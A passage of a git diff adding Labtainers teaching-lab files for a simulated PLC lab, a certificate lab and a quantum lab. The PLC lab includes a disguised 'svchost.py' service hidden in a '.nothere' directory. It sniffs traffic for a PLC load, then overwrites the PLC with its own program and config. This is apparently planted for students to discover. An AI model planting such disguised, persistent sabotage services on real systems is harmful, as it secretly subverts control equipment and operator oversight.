PROT_WRITE, MAP_SHARED, fd, 0); + if (map == MAP_FAILED) { + close(fd); + //printf("Error mmapping the file\n"); + exit(EXIT_FAILURE); + } + //printf("done mmap \n"); + /* mmap[0] is water level + mmap[1] is pump, 1 for on, 0 for off */ + FILE *config = fopen("config.txt", "r"); + //printf("done fopen config \n"); + if (config == NULL) { + //printf("Error opening config file\n"); + exit(EXIT_FAILURE); + } + int min_level = 0; + int max_level = 0; + //printf("do scan \n"); + fscanf(config, "%d %d", &min_level, &max_level); + //printf("done scan \n"); + while(1) + { + int current_level = map[0]; + if(current_level > max_level) + { + map[1] = 1; + }else if(current_level < min_level){ + map[1] = 0; + } + //printf("map 0 is %d\n", map[0]); + //printf("map 1 is %d\n", map[1]); + sleep(1); + } +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/svchost.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/svchost.py new file mode 100755 index 000000000..6fa28831c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/.nothere/svchost.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python +import socket +import sys +import subprocess +import time +import logging + + +def doConnect(): + # Create a TCP/IP socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Connect the socket to the port where the server is listening + server_address = ('172.25.0.3', 10000) + #print >>sys.stderr, 'connecting to %s port %s' % server_address + sock.connect(server_address) + return sock + +def doSend(sock, data): + size = len(data) + size_str = '%4d' % size + sock.sendall(size_str) + sock.sendall(data) + + +LOGFILE = "/tmp/mgmt.log" +logging.basicConfig(filename=LOGFILE, level=logging.DEBUG) +logging.debug("hi from svchost") + + +#p = subprocess.Popen(['tcpdump', '-l', '-i', 'eth0', '--direction=in', "(tcp[tcpflags] & (tcp-fin|tcp-rst)) != 0"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) +while True: + p = subprocess.Popen(['tcpdump', '-l', '-XX', '-i', 'eth0', '--direction=out'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + logging.debug("tcpdump running") + for row in iter(p.stdout.readline, b''): + #print row.rstrip() + #if 'plc.proxy.student.management_lan' in row: + if 'load:' in row: + #print(' got it ') + logging.debug("found load in tcpdump") + break + + #print 'out of loop' + time.sleep(25) + + logging.debug("connect and send code") + sock = doConnect() + plc_code = './plc' + plc_config = './config.txt' + #print('plc_code is %s data is %s' % (plc_code, plc_config)) + with open(plc_code, mode='rb') as fh: + code = fh.read(); + doSend(sock, 'load:'+code) + with open(plc_config, mode='rb') as fh: + config = fh.read(); + doSend(sock, config) + sock.close() + logging.debug("done, bye") + p.kill() + p.wait() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/fixlocal.sh new file mode 100755 index 000000000..8a2aa82a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# +cd $HOME +./build.sh +sudo systemctl enable svchost +sudo systemctl start svchost diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/ignorelocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/ignorelocal new file mode 100644 index 000000000..0025efc96 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/ignorelocal @@ -0,0 +1,2 @@ +svchost.py +build.sh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/precheck.sh new file mode 100755 index 000000000..21e2da890 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_bin/precheck.sh @@ -0,0 +1,14 @@ +!/usr/bin/env bash + +# precheck.sh +# Description: +# This file should contain checks for local settings (such as sysctl) +# specific for each lab. The resulting output will go into the +# precheck.stdout.timestamp file +# +MANAGEHASH="manage_plc.py "$(openssl dgst -md5 "manage_plc.py") +echo $MANAGEHASH +PLCHASH="plc.c "$(openssl dgst -md5 "plc.c") +echo $PLCHASH +HIDDENFILEHASH="nothere "$(tar -cf - .nothere | md5sum | openssl dgst -md5) +echo $HIDDENFILEHASH diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_system/lib/systemd/system/svchost.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_system/lib/systemd/system/svchost.service new file mode 100644 index 000000000..c656149fd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_system/lib/systemd/system/svchost.service @@ -0,0 +1,13 @@ +[Unit] +Description=SVC Host + +[Service] +Type=simple +ExecStart=/home/ubuntu/.nothere/svchost.py +StandardOutput=null +WorkingDirectory=/home/ubuntu/.nothere + +[Install] +WantedBy=multi-user.target +Alias=svchost.service + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_system/sbin/faux_init new file mode 100755 index 000000000..3aae85ed8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + +/etc/init.d/svchost.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/build.sh new file mode 100755 index 000000000..5158044ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/build.sh @@ -0,0 +1,2 @@ +#!/bin/bash +gcc -o plc plc.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/config.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/config.txt new file mode 100644 index 000000000..0060859b4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/config.txt @@ -0,0 +1 @@ +20 30 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/manage_plc.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/manage_plc.py new file mode 100755 index 000000000..3ec74d8d0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/manage_plc.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python +import socket +import sys +import argparse + + +def doConnect(): + # Create a TCP/IP socket + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + # Connect the socket to the port where the server is listening + server_address = ('172.25.0.3', 10000) + print >>sys.stderr, 'connecting to %s port %s' % server_address + sock.connect(server_address) + return sock + +def doSend(sock, data): + size = len(data) + size_str = '%4d' % size + sock.sendall(size_str) + sock.sendall(data) + +def getData(connection): + rbytes = '' + try: + size_str = connection.recv(4) + if size_str is None or len(size_str) == 0: + return None + try: + size = int(size_str) + except: + print >>sys.stderr, 'getData could not parse int from <%s>' % size_str + exit(1) + # Receive the data, but only up to size bytes + remaining = size + while len(rbytes) < size: + data = connection.recv(remaining) + remaining = remaining - len(data) + #print >>sys.stderr, 'received "%d bytes"' % len(data) + if data: + rbytes = rbytes + data + else: + #print >>sys.stderr, 'no more data from', client_address + break + #print >>sys.stderr, 'done read, got total of %d bytes' % len(rbytes) + except socket.error: + print >>sys.stderr, 'proxy socket error %s' % str(socket.error) + connection.close() + rbytes = None + return rbytes + +parser = argparse.ArgumentParser() +subparsers = parser.add_subparsers(dest='command') +load_parser = subparsers.add_parser('load', help='load program and configuration data into the PLC') +load_parser.add_argument('program', type=str, help='File name of the program') +load_parser.add_argument('configuration', type=str, help='File name of the configuration data') +status_parser = subparsers.add_parser('status', help='determine if the plc is running') +retrieve_parser = subparsers.add_parser('retrieve', help='Get program and data from the plc and store in local file') +reset = subparsers.add_parser('reset', help='Resets the PLC to its initial state with no program running.') + + +args = parser.parse_args() + +sock = doConnect() +sock.setblocking(True) +if args.command == 'status': + doSend(sock, 'status:') + #print('command sent') + data = getData(sock) + #print('reply received') + if data == 'status:True': + print('PLC is running') + else: + print('PLC is not running') + +elif args.command == 'load': + print('plc_code is %s data is %s' % (args.program, args.configuration)) + with open(args.program, mode='rb') as fh: + code = fh.read(); + doSend(sock, 'load:'+code) + with open(args.configuration, mode='rb') as fh: + config = fh.read(); + doSend(sock, config) + success = getData(sock) + print success +elif args.command == 'retrieve': + code_file = 'plc_code.retrieved' + config_file = 'plc_config.retrieved' + doSend(sock, 'retrieve:') + code = getData(sock) + config = getData(sock) + with open(code_file, 'w') as fh: + fh.write(code) + with open(config_file, 'w') as fh: + fh.write(config) + print('Retreived PLC code/data into %s and %s' % (code_file, config_file)) +elif args.command == 'reset': + doSend(sock, 'reset:') + +sock.shutdown(socket.SHUT_RDWR) +sock.close() diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/plc b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/plc new file mode 100755 index 000000000..1e223f432 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/plc differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/plc.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/plc.c new file mode 100644 index 000000000..e3c0b700b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc/sys_management/plc.c @@ -0,0 +1,80 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define FILEPATH "/tmp/iodevice" +#define NUMINTS (1000) +#define FILESIZE (NUMINTS * sizeof(int)) +#define FILE_ID "MY_FILE_ID" +void signal_handler(int signo) +{ + if (signo == SIGINT) + { + printf("caught SIGNINT, exit\n"); + exit(1); + } +} +int main(int argc, char *argv[]) +{ + int i; + int fd; + int result; + int *map; /* mmapped array of int's */ + if(signal(SIGINT, signal_handler) == SIG_ERR) + { + fprintf(stderr, "failed setting up signals\n"); + exit(1); + } + /* Open a file for writing. + * - Creating the file if it doesn't exist. + * Note: "O_WRONLY" mode is not sufficient when mmaping. + */ + printf("PLC starting, simulated IO on mapped file: %s\n", FILEPATH); + fd = open(FILEPATH, O_RDWR, (mode_t)0600); + if (fd == -1) { + perror("Error opening file for writing"); + exit(EXIT_FAILURE); + } + /* Now the file is ready to be mmapped. + */ + printf("do mmap \n"); + map = mmap(0, FILESIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + if (map == MAP_FAILED) { + close(fd); + printf("Error mmapping the file, fid is %s\n", FILE_ID); + exit(EXIT_FAILURE); + } + printf("done mmap \n"); + /* mmap[0] is water level + mmap[1] is pump, 1 for on, 0 for off */ + FILE *config = fopen("config.txt", "r"); + printf("done fopen config \n"); + if (config == NULL) { + printf("Error opening config file\n"); + exit(EXIT_FAILURE); + } + int min_level = 0; + int max_level = 0; + //printf("do scan \n"); + fscanf(config, "%d %d", &min_level, &max_level); + //printf("done scan \n"); + while(1) + { + int current_level = map[0]; + if(current_level > max_level) + { + map[1] = 1; + }else if(current_level < min_level){ + map[1] = 0; + } + //printf("map 0 is %d\n", map[0]); + //printf("map 1 is %d\n", map[1]); + sleep(1); + } +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/about.txt new file mode 100644 index 000000000..ae112e59e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/about.txt @@ -0,0 +1 @@ +Explore public key certificates from a variety of web sites diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/start.config new file mode 100644 index 000000000..7c4403d01 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/config/start.config @@ -0,0 +1,65 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER pubkey + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED pubkey_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER pubkey + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/dockerfiles/Dockerfile.pubkey.pubkey.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/dockerfiles/Dockerfile.pubkey.pubkey.student new file mode 100644 index 000000000..997142060 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/dockerfiles/Dockerfile.pubkey.pubkey.student @@ -0,0 +1,60 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.firefox +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/Makefile new file mode 100644 index 000000000..dbc95e6d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/Makefile @@ -0,0 +1,6 @@ +pubkey.pdf: pubkey.docx + soffice --convert-to pdf pubkey.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey-template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey-template.docx new file mode 100755 index 000000000..7014fdc62 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey-template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey-worksheet.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey-worksheet.docx new file mode 100755 index 000000000..d2d19d766 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey-worksheet.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey.docx new file mode 100755 index 000000000..8bf28676f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/pubkey.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/read_first.txt new file mode 100644 index 000000000..f5c6882e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/docs/read_first.txt @@ -0,0 +1,10 @@ +The lab manual is at + file://LAB_DOCS/pubkey.pdf +The report template at + file://LAB_DOCS/pubkey-template.docx +The report worksheet at + file://LAB_DOCS/pubkey-worksheet.docx + +You may open those files by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/goals.config new file mode 100644 index 000000000..1ebf2b393 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: No automated assessment for this lab +visited = value : sites_visited diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/pregrade.sh new file mode 100755 index 000000000..9d2949512 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/pregrade.sh @@ -0,0 +1,41 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "PRAGMA wal_checkpoint;" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/results.config new file mode 100644 index 000000000..09618b9a8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/instr_config/results.config @@ -0,0 +1,15 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +yahoo = .local/result/moz_places.txt : CONTAINS : yahoo.com +facebook = .local/result/moz_places.txt : CONTAINS : facebook.com +pinterest = .local/result/moz_places.txt : CONTAINS : pinterest.com +youtube = .local/result/moz_places.txt : CONTAINS : youtube.com +wells = .local/result/moz_places.txt : CONTAINS : wellsfargo.com +paypal = .local/result/moz_places.txt : CONTAINS : paypal.com +csumb = .local/result/moz_places.txt : CONTAINS : csumb.edu +usc = .local/result/moz_places.txt : CONTAINS : usc.edu +dav = .local/result/moz_places.txt : CONTAINS : dav.org +sites_visited = .local/result/moz_places.txt : STRING_COUNT : https + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/noskip b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/noskip new file mode 100644 index 000000000..0d6f4e7b2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/noskip @@ -0,0 +1 @@ +places.sqlite diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/prestop b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/prestop new file mode 100755 index 000000000..c1b58468a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/prestop @@ -0,0 +1,2 @@ +pkill firefox +touch $HOME/.mozilla/firefox/*default/places.sqlite diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/student_startup.sh new file mode 100755 index 000000000..740edc2ae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_bin/student_startup.sh @@ -0,0 +1 @@ +firefox > /dev/null 2>&1 & diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/pubkey/pubkey/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/about.txt new file mode 100644 index 000000000..dbda7c41e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/about.txt @@ -0,0 +1 @@ +Explores two fundamental quantum algorithms: (1) teleportation; and (2) Grover's algorithm. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/parameter.config new file mode 100644 index 000000000..fa11b17ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/parameter.config @@ -0,0 +1,6 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + +SECRET2 : RAND_REPLACE: /home/ubuntu/run_grover.sh : SECRET2_VALUE : 0x0 : 0x7 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/start.config new file mode 100644 index 000000000..8f8bf3eb1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/config/start.config @@ -0,0 +1,40 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER quantum + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED quantum_student_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER quantum + USER ubuntu +X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/dockerfiles/Dockerfile.quantum.quantum.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/dockerfiles/Dockerfile.quantum.quantum.student new file mode 100644 index 000000000..673588a1c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/dockerfiles/Dockerfile.quantum.quantum.student @@ -0,0 +1,71 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.java +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/Makefile new file mode 100644 index 000000000..cd861b71d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/Makefile @@ -0,0 +1,6 @@ +quantum.pdf: quantum.docx + soffice --convert-to pdf quantum.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/quantum.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/quantum.docx new file mode 100644 index 000000000..6de27afe3 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/quantum.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/quantum/docs/read_first.txt 